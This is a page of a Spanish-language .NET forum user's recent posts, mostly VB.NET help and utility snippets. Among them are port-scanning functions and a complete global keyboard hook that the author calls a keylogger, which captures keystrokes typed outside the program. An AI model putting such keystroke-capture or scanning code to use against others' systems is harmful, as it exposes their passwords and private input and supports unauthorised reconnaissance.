últimos mensajes de: Eleкtro

Mostrar Mensajes
Páginas: 1 ... 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 [912] 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 ... 1254

9111	Programación / .NET (C#, VB.NET, ASP) / Re: no puedo borrar pdf recien creado en vb.net	en: 3 Junio 2013, 20:44 pm
Hola 1. Código Dim oDirectContent As iTextSharp.text.pdf.PdfContentByte = oPdfWriter.DirectContent Dim oPdfReader As iTextSharp.text.pdf.PdfReader = New iTextSharp.text.pdf.PdfReader(sInFilePath) Cierra esos objetos cuando acabes de utilizarlos, tienen métodos para ello. 2. Código Try oPdfDoc.Close() oPdfWriter.Close() Catch ex As Exception Si esos otros dos objetos fallasen al cerrarse seguirán abiertos la próxima vez que llames al sub, intenta mejorar esa parte del código, elimina el Try. Saludos!

9112	Programación / .NET (C#, VB.NET, ASP) / Re: Crear PictureBox a través de una config .ini?	en: 3 Junio 2013, 20:31 pm
Hombre, está claro que un archivo de texto no va a "crear" un control, lo que intenté decirte es que puedes leer en tiempo de ejecución los valores desde un INI para crear el picturebox en tiempo de ejecución. Sigo sin saber exáctamente que es lo que quieres hacer, pero... : Ejemplo: test.ini Código: Nombre=PicBox Dimensiones=300,300 BackColor=255,255,255 Class1.vb Código dim picture_name as string dim picture_dimensions as point dim picture_color as color Private sub leer_ini() ( Aquí un procedimiento para leerl os valores del ini: picture_name = valor1 del ini picture_dimensions = new point(valor2 del ini.SPLIT(",")) picture_color = color.fromargb(valor3 del ini.SPLIT(",")) ) end sub form_load() leer_ini() dim MyPictureBox as new picturebox MyPictureBox.name = picture_name MyPictureBox.size= picture_dimensions MyPictureBox.color= picture_color me.controls.add(MyPictureBox ) end sub el code lo he escrito al vuelo, en la primera página de este subforo puedes encontrar un comentario mio sobre como cargar datos de un INI. Salu2

9113	Programación / .NET (C#, VB.NET, ASP) / Re: ¿Cómo escribir todas las líneas de un arreglo en un archivo de texto?	en: 3 Junio 2013, 09:57 am
Primero unes el array con un join y luego usas el método que has comentado (el que te da errores por no escribir los argumentos), o el método de my.computer: VB: Código My.Computer.FileSystem.WriteAllText("Test.txt", String.Join(vbnewline, MiArray), False) (Creo que no necesita traducción, añade un ";" al final) -> VB a C#, para códigos largos: http://converter.telerik.com/ Saludos

9114

Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)

en: 2 Junio 2013, 17:53 pm

LA PARTE IMPORTANTE DE ESTOS CÓDIGOS LOS HE TOMADO DEL BUENO DE KUBOX:

Escanear un puerto abierto

Código

#Region " Port Scan "
 
    ' [ Port Scan Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Port_Scan("84.126.113.10", 80))
    ' MsgBox(Port_Scan("84.126.113.10", 80, Net.Sockets.ProtocolType.Udp))
 
    Private Function Port_Scan(ByVal IP As String, ByVal Port As Int32, _
                               Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp) As Boolean
 
        Dim Open As Boolean
 
        Try
            Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
                                                        System.Net.Sockets.SocketType.Stream, Type)
            socket.Connect(IP, Port)
            Open = socket.Connected
            socket.Disconnect(False)
            Return Open
        Catch ex As Exception
            MsgBox(ex.Message)
            ' Return False
        End Try
 
    End Function
 
#End Region

Escanear un rango de puertos

Código

#Region " Port Range Scan "
 
    ' [ Port Range Scan Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' For Each Open_Port In Port_Range_Scan("84.126.113.10, 1, 5000) : MsgBox(Open_Port) : Next
 
    Private Function Port_Range_Scan(ByVal IP As String, ByVal Port_Start As Int32, ByVal Port_End As Int32, _
                                     Optional ByVal Type As System.Net.Sockets.ProtocolType = Net.Sockets.ProtocolType.Tcp _
                                    ) As List(Of String)
 
        Dim Open_Ports_List As New List(Of String)
 
        Try
            For Port As Int32 = Port_Start To Port_End
                Dim socket As New System.Net.Sockets.Socket(System.Net.Sockets.AddressFamily.InterNetwork, _
                                                     System.Net.Sockets.SocketType.Stream, Type)
                socket.Connect(IP, Port)
                If socket.Connected Then Open_Ports_List.Add(Port)
                socket.Disconnect(False)
            Next Port
            Return Open_Ports_List
        Catch ex As Exception
            MsgBox(ex.Message)
            Return Nothing
        End Try
 
    End Function
 
#End Region

9115	Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)	en: 2 Junio 2013, 17:15 pm
Cita de: Seazoux en 2 Junio 2013, 16:47 pm Elektro pone al principio del ultimo snippet ublic, en vez de Public. Corregido, gracias. ¿Alguna imperfección más? xD Salu2!

9116

Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)

en: 2 Junio 2013, 15:56 pm

Un low-level hook para capturar el keyboard fuera del form, es decir, un keylogger.

La idea la tuve de un code que vi de Kub0x

Esta es la parte que me he currado yo:

Código

#Region " KeyLogger "
 
Public WithEvents KeysHook As New KeyboardHook
 
Dim Auto_Backspace_Key As Boolean = True
Dim Auto_Enter_Key As Boolean = True
Dim Auto_Tab_Key As Boolean = True
Dim No_F_Keys As Boolean = False
 
Private Sub KeysHook_KeyDown(ByVal Key As Keys) Handles KeysHook.KeyDown
 
    Select Case Control.ModifierKeys
 
        Case 393216 ' Alt-GR + Key
 
            Select Case Key
                Case Keys.D1 : Key_Listener("|")
                Case Keys.D2 : Key_Listener("@")
                Case Keys.D3 : Key_Listener("#")
                Case Keys.D4 : Key_Listener("~")
                Case Keys.D5 : Key_Listener("€")
                Case Keys.D6 : Key_Listener("¬")
                Case Keys.E : Key_Listener("€")
                Case Keys.Oem1 : Key_Listener("[")
                Case Keys.Oem5 : Key_Listener("\")
                Case Keys.Oem7 : Key_Listener("{")
                Case Keys.Oemplus : Key_Listener("]")
                Case Keys.OemQuestion : Key_Listener("}")
                Case Else : Key_Listener("")
            End Select
 
        Case 65536 ' LShift/RShift + Key
 
            Select Case Key
                Case Keys.D0 : Key_Listener("=")
                Case Keys.D1 : Key_Listener("!")
                Case Keys.D2 : Key_Listener("""")
                Case Keys.D3 : Key_Listener("·")
                Case Keys.D4 : Key_Listener("$")
                Case Keys.D5 : Key_Listener("%")
                Case Keys.D6 : Key_Listener("&")
                Case Keys.D7 : Key_Listener("/")
                Case Keys.D8 : Key_Listener("(")
                Case Keys.D9 : Key_Listener(")")
                Case Keys.Oem1 : Key_Listener("^")
                Case Keys.Oem5 : Key_Listener("ª")
                Case Keys.Oem6 : Key_Listener("¿")
                Case Keys.Oem7 : Key_Listener("¨")
                Case Keys.OemBackslash : Key_Listener(">")
                Case Keys.Oemcomma : Key_Listener(";")
                Case Keys.OemMinus : Key_Listener("_")
                Case Keys.OemOpenBrackets : Key_Listener("?")
                Case Keys.OemPeriod : Key_Listener(":")
                Case Keys.Oemplus : Key_Listener("*")
                Case Keys.OemQuestion : Key_Listener("Ç")
                Case Keys.Oemtilde : Key_Listener("Ñ")
                Case Else : Key_Listener("")
            End Select
 
        Case Else
 
            If Key.ToString.Length = 1 Then ' Single alpha key
 
                If Control.IsKeyLocked(Keys.CapsLock) Or Control.ModifierKeys = Keys.Shift Then
                    Key_Listener(Key.ToString.ToUpper)
                Else
                    Key_Listener(Key.ToString.ToLower)
                End If
 
            Else
 
                Select Case Key ' Single special key 
                    Case Keys.Add : Key_Listener("+")
                    Case Keys.Back : Key_Listener("{BackSpace}")
                    Case Keys.D0 : Key_Listener("0")
                    Case Keys.D1 : Key_Listener("1")
                    Case Keys.D2 : Key_Listener("2")
                    Case Keys.D3 : Key_Listener("3")
                    Case Keys.D4 : Key_Listener("4")
                    Case Keys.D5 : Key_Listener("5")
                    Case Keys.D6 : Key_Listener("6")
                    Case Keys.D7 : Key_Listener("7")
                    Case Keys.D8 : Key_Listener("8")
                    Case Keys.D9 : Key_Listener("9")
                    Case Keys.Decimal : Key_Listener(".")
                    Case Keys.Delete : Key_Listener("{Supr}")
                    Case Keys.Divide : Key_Listener("/")
                    Case Keys.End : Key_Listener("{End}")
                    Case Keys.Enter : Key_Listener("{Enter}")
                    Case Keys.F1 : Key_Listener("{F1}")
                    Case Keys.F10 : Key_Listener("{F10}")
                    Case Keys.F11 : Key_Listener("{F11}")
                    Case Keys.F12 : Key_Listener("{F12}")
                    Case Keys.F2 : Key_Listener("{F2}")
                    Case Keys.F3 : Key_Listener("{F3}")
                    Case Keys.F4 : Key_Listener("{F4}")
                    Case Keys.F5 : Key_Listener("{F5}")
                    Case Keys.F6 : Key_Listener("{F6}")
                    Case Keys.F7 : Key_Listener("{F7}")
                    Case Keys.F8 : Key_Listener("{F8}")
                    Case Keys.F9 : Key_Listener("{F9}")
                    Case Keys.Home : Key_Listener("{Home}")
                    Case Keys.Insert : Key_Listener("{Insert}")
                    Case Keys.Multiply : Key_Listener("*")
                    Case Keys.NumPad0 : Key_Listener("0")
                    Case Keys.NumPad1 : Key_Listener("1")
                    Case Keys.NumPad2 : Key_Listener("2")
                    Case Keys.NumPad3 : Key_Listener("3")
                    Case Keys.NumPad4 : Key_Listener("4")
                    Case Keys.NumPad5 : Key_Listener("5")
                    Case Keys.NumPad6 : Key_Listener("6")
                    Case Keys.NumPad7 : Key_Listener("7")
                    Case Keys.NumPad8 : Key_Listener("8")
                    Case Keys.NumPad9 : Key_Listener("9")
                    Case Keys.Oem1 : Key_Listener("`")
                    Case Keys.Oem5 : Key_Listener("º")
                    Case Keys.Oem6 : Key_Listener("¡")
                    Case Keys.Oem7 : Key_Listener("´")
                    Case Keys.OemBackslash : Key_Listener("<")
                    Case Keys.Oemcomma : Key_Listener(",")
                    Case Keys.OemMinus : Key_Listener(".")
                    Case Keys.OemOpenBrackets : Key_Listener("'")
                    Case Keys.OemPeriod : Key_Listener("-")
                    Case Keys.Oemplus : Key_Listener("+")
                    Case Keys.OemQuestion : Key_Listener("ç")
                    Case Keys.Oemtilde : Key_Listener("ñ")
                    Case Keys.PageDown : Key_Listener("{AvPag}")
                    Case Keys.PageUp : Key_Listener("{RePag}")
                    Case Keys.Space : Key_Listener(" ")
                    Case Keys.Subtract : Key_Listener("-")
                    Case Keys.Tab : Key_Listener("{Tabulation}")
                    Case Else : Key_Listener("")
                End Select
 
            End If
 
    End Select
 
End Sub
 
Public Sub Key_Listener(ByVal key As String)
 
    If Auto_Backspace_Key AndAlso key = "{BackSpace}" Then ' Delete character
        RichTextBox1.Text = RichTextBox1.Text.Substring(0, RichTextBox1.Text.Length - 1)
    ElseIf Auto_Enter_Key AndAlso key = "{Enter}" Then ' Insert new line
        RichTextBox1.Text += ControlChars.NewLine
    ElseIf Auto_Tab_Key AndAlso key = "{Tabulation}" Then ' Insert Tabulation
        RichTextBox1.Text += ControlChars.Tab
    ElseIf No_F_Keys AndAlso key.StartsWith("{F") Then ' Ommit F Keys
    Else ' Print the character
        RichTextBox1.Text += key
    End If
 
End Sub
 
#End Region

Y esta es la class del Hook:

Código

Imports System.Runtime.InteropServices
 
Public Class KeyboardHook
 
    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
    Private Overloads Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal HookProc As KBDLLHookProc, ByVal hInstance As IntPtr, ByVal wParam As Integer) As Integer
    End Function
 
    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
    Private Overloads Shared Function CallNextHookEx(ByVal idHook As Integer, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
    End Function
 
    <DllImport("User32.dll", CharSet:=CharSet.Auto, CallingConvention:=CallingConvention.StdCall)> _
    Private Overloads Shared Function UnhookWindowsHookEx(ByVal idHook As Integer) As Boolean
    End Function
 
    <StructLayout(LayoutKind.Sequential)> _
    Private Structure KBDLLHOOKSTRUCT
        Public vkCode As UInt32
        Public scanCode As UInt32
        Public flags As KBDLLHOOKSTRUCTFlags
        Public time As UInt32
        Public dwExtraInfo As UIntPtr
    End Structure
 
    <Flags()> _
    Private Enum KBDLLHOOKSTRUCTFlags As UInt32
        LLKHF_EXTENDED = &H1
        LLKHF_INJECTED = &H10
        LLKHF_ALTDOWN = &H20
        LLKHF_UP = &H80
    End Enum
 
    Public Shared Event KeyDown(ByVal Key As Keys)
    Public Shared Event KeyUp(ByVal Key As Keys)
 
    Private Const WH_KEYBOARD_LL As Integer = 13
    Private Const HC_ACTION As Integer = 0
    Private Const WM_KEYDOWN = &H100
    Private Const WM_KEYUP = &H101
    Private Const WM_SYSKEYDOWN = &H104
    Private Const WM_SYSKEYUP = &H105
 
    Private Delegate Function KBDLLHookProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
 
    Private KBDLLHookProcDelegate As KBDLLHookProc = New KBDLLHookProc(AddressOf KeyboardProc)
    Private HHookID As IntPtr = IntPtr.Zero
 
    Private Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As Integer
        If (nCode = HC_ACTION) Then
            Dim struct As KBDLLHOOKSTRUCT
            Select Case wParam
                Case WM_KEYDOWN, WM_SYSKEYDOWN
                    RaiseEvent KeyDown(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
                Case WM_KEYUP, WM_SYSKEYUP
                    RaiseEvent KeyUp(CType(CType(Marshal.PtrToStructure(lParam, struct.GetType()), KBDLLHOOKSTRUCT).vkCode, Keys))
            End Select
        End If
        Return CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam)
    End Function
 
    Public Sub New()
        HHookID = SetWindowsHookEx(WH_KEYBOARD_LL, KBDLLHookProcDelegate, System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly.GetModules()(0)).ToInt32, 0)
        If HHookID = IntPtr.Zero Then
            Throw New Exception("Could not set keyboard hook")
        End If
    End Sub
 
    Protected Overrides Sub Finalize()
        If Not HHookID = IntPtr.Zero Then
            UnhookWindowsHookEx(HHookID)
        End If
        MyBase.Finalize()
    End Sub
 
End Class

9117

Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)

en: 2 Junio 2013, 08:21 am

Usar Google Translate sin comprar la API de pago xD

Código

#Region " Google Translate "
 
    ' [ Google Translate Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    '
    ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.en, GoogleTranslate_Languages.es))   ' Result: Hola mundo
    ' MsgBox(Google_Translate("Hello world", GoogleTranslate_Languages.auto, GoogleTranslate_Languages.fr)) ' Result: Bonjour tout le monde
 
    Public Enum GoogleTranslate_Languages
        auto ' Detectar idioma 
        af ' afrikáans 
        ar ' árabe 
        az ' azerí 
        be ' bielorruso 
        bg ' búlgaro 
        bn ' bengalí; bangla 
        bs ' bosnio 
        ca ' catalán 
        ceb ' cebuano 
        cs ' checo 
        cy ' galés 
        da ' danés 
        de ' alemán 
        el ' griego 
        en ' inglés 
        eo ' esperanto 
        es ' español 
        et ' estonio 
        eu ' euskera 
        fa ' persa 
        fi ' finlandés 
        fr ' francés 
        ga ' irlandés 
        gl ' gallego 
        gu ' gujarati 
        hi ' hindi 
        hmn ' Hmong 
        hr ' croata 
        ht ' criollo haitiano 
        hu ' húngaro 
        hy ' armenio 
        id ' indonesio 
        it ' italiano 
        iw ' hebreo 
        ja ' japonés 
        jw ' javanés 
        ka ' georgiano 
        km ' Jemer 
        kn ' canarés 
        ko ' coreano 
        la ' latín 
        lo ' lao 
        lt ' lituano 
        lv ' letón 
        mk ' macedonio 
        mr ' maratí 
        ms ' malayo 
        mt ' maltés 
        nl ' holandés 
        no ' noruego 
        pl ' polaco 
        pt ' portugués 
        ro ' rumano 
        ru ' ruso 
        sk ' eslovaco 
        sl ' esloveno 
        sq ' albanés 
        sr ' serbio 
        sv ' sueco 
        sw ' suajili 
        ta ' tamil 
        te ' telugu 
        th ' tailandés 
        tl ' tagalo 
        tr ' turco 
        uk ' ucraniano 
        ur ' urdu 
        vi ' vietnamita 
        yi ' yidis 
        zh_CN ' chino 
    End Enum
 
    Public Function Google_Translate(ByVal Input As String, _
                                     ByVal From_Language As GoogleTranslate_Languages, _
                                     ByVal To_Language As GoogleTranslate_Languages) As String
 
        Dim Formatted_From_Language As String = From_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
        Dim Formatted_To_Language As String = To_Language.ToString.Replace("_", "-") ' zh_CN > zh-CN
 
        Dim webClient As New System.Net.WebClient
 
        Dim str = webClient.DownloadString( _
        "http://translate.google.com/translate_a/t?client=t&text=" & Input & _
        "&sl=" & Formatted_From_Language & _
        "&tl=" & Formatted_To_Language & "")
 
        Return (str.Substring(4, str.Length - 4).Split(ControlChars.Quote).First)
 
    End Function
 
#End Region

Extra:
-> [BATCH] GTC (Google Translate Console)

9118

Programación / .NET (C#, VB.NET, ASP) / Re: Librería de Snippets !! (Posteen aquí sus snippets)

en: 2 Junio 2013, 08:19 am

Un simple método Get:

Código

#Region " Get Method "
 
    ' [ Get Method Function ]
    '
    ' Examples :
    ' MsgBox(Get_Method("http://translate.google.com/translate_a/t?client=t&text=HelloWorld&sl=en&tl=en")) ' Result: [[["HelloWorld","HelloWorld","",""]],,"en",,,,,,[["en"]],0]
 
    Public Function Get_Method(ByVal URL As String) As String
        Dim webClient As New System.Net.WebClient
        Return webClient.DownloadString(URL)
    End Function
 
#End Region

Convierte un string a entidades html:

Código

#Region " String To Html Entities "
 
    ' [ String To Html Escaped Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(String_To_Html_Entities("www.Goo&gle.com")) ' Result: www.Goo&amp;gle.com
 
    Private Function String_To_Html_Entities(ByVal str As String) As String
 
        str = str.Replace("&", "&amp;") ' Keep this character to be always the first replaced.
        str = str.Replace(ControlChars.Quote, "&quot;")
        str = str.Replace(" ", "&nbsp;")
        str = str.Replace("<", "&lt;")
        str = str.Replace(">", "&gt;")
        str = str.Replace("¡", "&iexcl;")
        str = str.Replace("¢", "&cent;")
        str = str.Replace("£", "&pound;")
        str = str.Replace("¤", "&curren;")
        str = str.Replace("¥", "&yen;")
        str = str.Replace("¦", "&brvbar;")
        str = str.Replace("§", "&sect;")
        str = str.Replace("¨", "&uml;")
        str = str.Replace("©", "&copy;")
        str = str.Replace("ª", "&ordf;")
        str = str.Replace("¬", "&not;")
        str = str.Replace("®", "&reg;")
        str = str.Replace("¯", "&macr;")
        str = str.Replace("°", "&deg;")
        str = str.Replace("±", "&plusmn;")
        str = str.Replace("²", "&sup2;")
        str = str.Replace("³", "&sup3;")
        str = str.Replace("´", "&acute;")
        str = str.Replace("µ", "&micro;")
        str = str.Replace("¶", "&para;")
        str = str.Replace("·", "&middot;")
        str = str.Replace("¸", "&cedil;")
        str = str.Replace("¹", "&sup1;")
        str = str.Replace("º", "&ordm;")
        str = str.Replace("»", "&raquo;")
        str = str.Replace("¼", "&frac14;")
        str = str.Replace("½", "&frac12;")
        str = str.Replace("¾", "&frac34;")
        str = str.Replace("¿", "&iquest;")
        str = str.Replace("×", "&times;")
        str = str.Replace("ß", "&szlig;")
        str = str.Replace("À", "&Agrave;")
        str = str.Replace("à", "&agrave;")
        str = str.Replace("Á", "&Aacute;")
        str = str.Replace("á", "&aacute;")
        str = str.Replace("", "&Acirc;")
        str = str.Replace("â", "&acirc;")
        str = str.Replace("Ã", "&Atilde;")
        str = str.Replace("ã", "&atilde;")
        str = str.Replace("Ä", "&Auml;")
        str = str.Replace("ä", "&auml;")
        str = str.Replace("Å", "&Aring;")
        str = str.Replace("å", "&aring;")
        str = str.Replace("Æ", "&AElig;")
        str = str.Replace("æ", "&aelig;")
        str = str.Replace("ç", "&ccedil;")
        str = str.Replace("Ç", "&Ccedil;")
        str = str.Replace("È", "&Egrave;")
        str = str.Replace("è", "&egrave;")
        str = str.Replace("É", "&Eacute;")
        str = str.Replace("é", "&eacute;")
        str = str.Replace("Ê", "&Ecirc;")
        str = str.Replace("ê", "&ecirc;")
        str = str.Replace("Ë", "&Euml;")
        str = str.Replace("ë", "&euml;")
        str = str.Replace("Ì", "&Igrave;")
        str = str.Replace("ì", "&igrave;")
        str = str.Replace("Í", "&Iacute;")
        str = str.Replace("í", "&iacute;")
        str = str.Replace("Î", "&Icirc;")
        str = str.Replace("î", "&icirc;")
        str = str.Replace("Ï", "&Iuml;")
        str = str.Replace("ï", "&iuml;")
        str = str.Replace("Ð", "&ETH;")
        str = str.Replace("ð", "&eth;")
        str = str.Replace("ñ", "&ntilde;")
        str = str.Replace("Ñ", "&Ntilde;")
        str = str.Replace("Ò", "&Ograve;")
        str = str.Replace("ò", "&ograve;")
        str = str.Replace("Ó", "&Oacute;")
        str = str.Replace("ó", "&oacute;")
        str = str.Replace("Ô", "&Ocirc;")
        str = str.Replace("ô", "&ocirc;")
        str = str.Replace("Õ", "&Otilde;")
        str = str.Replace("õ", "&otilde;")
        str = str.Replace("Ö", "&Ouml;")
        str = str.Replace("ö", "&ouml;")
        str = str.Replace("÷", "&divide;")
        str = str.Replace("Ø", "&Oslash;")
        str = str.Replace("ø", "&oslash;")
        str = str.Replace("Ù", "&Ugrave;")
        str = str.Replace("ù", "&ugrave;")
        str = str.Replace("Ú", "&Uacute;")
        str = str.Replace("ú", "&uacute;")
        str = str.Replace("Û", "&Ucirc;")
        str = str.Replace("û", "&ucirc;")
        str = str.Replace("Ü", "&Uuml;")
        str = str.Replace("ü", "&uuml;")
        str = str.Replace("Ý", "&Yacute;")
        str = str.Replace("ý", "&yacute;")
        str = str.Replace("Þ", "&THORN;")
        str = str.Replace("þ", "&thorn;")
        str = str.Replace("€", "&euro;")
 
        Return str
 
    End Function
 
#End Region

Convierte un string a entidades html codificadas:

Código

#Region " String To Html Escaped Entities "
 
    ' [ String To Html Escaped Entities Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(String_To_Html_Escaped_Entities("Me@Gmail.com")) ' Result: &#38;#77;&#38;#101;&#38;#64;&#38;#71;&#38;#109;&#38;#97;&#38;#105;&#38;#108;&#38;#46;&#38;#99;&#38;#111;&#38;#109;
 
    Public Function String_To_Html_Escaped_Entities(str As String) As String
        Dim sb As New System.Text.StringBuilder(str.Length * 6)
        For Each c As Char In str : sb.Append("&#38;#").Append(CType(AscW(c), UShort)).Append(";"c) : Next
        Return sb.ToString()
    End Function
 
#End Region

Decodifica un string que contenga entidades HTML

Código

#Region " Html Entities To String "
 
    ' [ Html Entities To String Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Html_Entities_To_String("www.Goo&amp;gle.com")) ' Result: Goo&gle.com
 
    Private Function Html_Entities_To_String(ByVal str As String) As String
 
        str = str.Replace("&quot;", ControlChars.Quote)
        str = str.Replace("&amp;", "&")
        str = str.Replace("&nbsp;", "")
        str = str.Replace("&lt;", "<")
        str = str.Replace("&gt;", ">")
        str = str.Replace("&iexcl;", "¡")
        str = str.Replace("&cent;", "¢")
        str = str.Replace("&pound;", "£")
        str = str.Replace("&curren;", "¤")
        str = str.Replace("&yen;", "¥")
        str = str.Replace("&brvbar;", "¦")
        str = str.Replace("&sect;", "§")
        str = str.Replace("&uml;", "¨")
        str = str.Replace("&copy;", "©")
        str = str.Replace("&ordf;", "ª")
        str = str.Replace("&not;", "¬")
        str = str.Replace("&reg;", "®")
        str = str.Replace("&macr;", "¯")
        str = str.Replace("&deg;", "°")
        str = str.Replace("&plusmn;", "±")
        str = str.Replace("&sup2;", "²")
        str = str.Replace("&sup3;", "³")
        str = str.Replace("&acute;", "´")
        str = str.Replace("&micro;", "µ")
        str = str.Replace("&para;", "¶")
        str = str.Replace("&middot;", "·")
        str = str.Replace("&cedil;", "¸")
        str = str.Replace("&sup1;", "¹")
        str = str.Replace("&ordm;", "º")
        str = str.Replace("&raquo;", "»")
        str = str.Replace("&frac14;", "¼")
        str = str.Replace("&frac12;", "½")
        str = str.Replace("&frac34;", "¾")
        str = str.Replace("&iquest;", "¿")
        str = str.Replace("&times;", "×")
        str = str.Replace("&szlig;", "ß")
        str = str.Replace("&Agrave;", "À")
        str = str.Replace("&agrave;", "à")
        str = str.Replace("&Aacute;", "Á")
        str = str.Replace("&aacute;", "á")
        str = str.Replace("&Acirc;", "")
        str = str.Replace("&acirc;", "â")
        str = str.Replace("&Atilde;", "Ã")
        str = str.Replace("&atilde;", "ã")
        str = str.Replace("&Auml;", "Ä")
        str = str.Replace("&auml;", "ä")
        str = str.Replace("&Aring;", "Å")
        str = str.Replace("&aring;", "å")
        str = str.Replace("&AElig;", "Æ")
        str = str.Replace("&aelig;", "æ")
        str = str.Replace("&ccedil;", "ç")
        str = str.Replace("&Ccedil;", "Ç")
        str = str.Replace("&Egrave;", "È")
        str = str.Replace("&egrave;", "è")
        str = str.Replace("&Eacute;", "É")
        str = str.Replace("&eacute;", "é")
        str = str.Replace("&Ecirc;", "Ê")
        str = str.Replace("&ecirc;", "ê")
        str = str.Replace("&Euml;", "Ë")
        str = str.Replace("&euml;", "ë")
        str = str.Replace("&Igrave;", "Ì")
        str = str.Replace("&igrave;", "ì")
        str = str.Replace("&Iacute;", "Í")
        str = str.Replace("&iacute;", "í")
        str = str.Replace("&Icirc;", "Î")
        str = str.Replace("&icirc;", "î")
        str = str.Replace("&Iuml;", "Ï")
        str = str.Replace("&iuml;", "ï")
        str = str.Replace("&ETH;", "Ð")
        str = str.Replace("&eth;", "ð")
        str = str.Replace("&ntilde;", "ñ")
        str = str.Replace("&Ntilde;", "Ñ")
        str = str.Replace("&Ograve;", "Ò")
        str = str.Replace("&ograve;", "ò")
        str = str.Replace("&Oacute;", "Ó")
        str = str.Replace("&oacute;", "ó")
        str = str.Replace("&Ocirc;", "Ô")
        str = str.Replace("&ocirc;", "ô")
        str = str.Replace("&Otilde;", "Õ")
        str = str.Replace("&otilde;", "õ")
        str = str.Replace("&Ouml;", "Ö")
        str = str.Replace("&ouml;", "ö")
        str = str.Replace("&divide;", "÷")
        str = str.Replace("&Oslash;", "Ø")
        str = str.Replace("&oslash;", "ø")
        str = str.Replace("&Ugrave;", "Ù")
        str = str.Replace("&ugrave;", "ù")
        str = str.Replace("&Uacute;", "Ú")
        str = str.Replace("&uacute;", "ú")
        str = str.Replace("&Ucirc;", "Û")
        str = str.Replace("&ucirc;", "û")
        str = str.Replace("&Uuml;", "Ü")
        str = str.Replace("&uuml;", "ü")
        str = str.Replace("&Yacute;", "Ý")
        str = str.Replace("&yacute;", "ý")
        str = str.Replace("&THORN;", "Þ")
        str = str.Replace("&thorn;", "þ")
        str = str.Replace("&euro;", "€")
 
        Return str
 
    End Function
 
#End Region

Decodifica un string codificado en HTML Escaped Entities

Código

#Region " Html Escaped Entities To String "
 
    ' [ Html Escaped Entities To String Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' MsgBox(Html_Escaped_Entities_To_String("&#38;#77;&#38;#101;&#38;#64;&#38;#71;&#38;#109;&#38;#97;&#38;#105;&#38;#108;&#38;#46;&#38;#99;&#38;#111;&#38;#109;")) ' Result: Me@Gmail.com
 
   Public Function Html_Escaped_Entities_To_String(str As String) As String
        Dim sb As New System.Text.StringBuilder(str.Length)
        str = str.Replace("&#38;#", "")
        Try : For Each entity In str.Split(";") : sb.Append(Chr(entity)) : Next : Catch : End Try
        Return sb.ToString()
    End Function
 
#End Region

Comprueba si un numero es multiplo de otro

Código

    #Region " Number Is Multiple? "
 
       ' [ Number Is Multiple? Function ]
       '
       ' // By Elektro H@cker
       '
       ' Examples :
       ' MsgBox(Number_Is_Multiple(30, 3)) ' Result: True
       ' MsgBox(Number_Is_Multiple(50, 3)) ' Result: False
 
    Function Number_Is_Multiple(ByVal Number As Int64, ByVal Multiple As Int64) As Boolean
        Return (Number Mod Multiple = 0)
    End Function
 
    #End Region

Comprueba si un numero es divisible por otro

Código

    #Region " Number Is Divisible? "
 
       ' [ Number Is Divisible? Function ]
       '
       ' // By Elektro H@cker
       '
       ' Examples :
       ' MsgBox(Number_Is_Divisible(30, 3)) ' Result: True
       ' MsgBox(Number_Is_Divisible(50, 3)) ' Result: False
 
    Function Number_Is_Divisible(ByVal Number As Int64, ByVal Divisible As Int64) As Boolean
        Return (Number Mod Divisible = 0)
    End Function
 
 
    #End Region

9119	Programación / .NET (C#, VB.NET, ASP) / Re: ayuda para hacer un traductor de palabras en visual basic.net	en: 2 Junio 2013, 03:42 am
offline u online? ...GoogleTranslate es sencillo. Saludos!

9120	Programación / .NET (C#, VB.NET, ASP) / Re: Cambiar valores a los controles desde un Listbox	en: 1 Junio 2013, 21:51 pm
1. Crea una variable numérica de tipo Long que contiendrá ms (por poner un ejemplo) Código: Dim ms as int64 = 0 2. En el select case del ejemplo aumentas o disminuyes el valor de la variable como quieras, cada "case" es para cada uno de los items. Código: Case 0 : ms +=5 Case 1 : ms +=10 Case 2 : ms +=15 Esa es la parte donde más cuidado has de tener. 3. Por último modificas el intervalo del timer por los ms que contiene la variable que contiene la variable que hemos creado. Código: timer1.interval = ms slaudos!

Páginas: 1 ... 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 [912] 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 ... 1254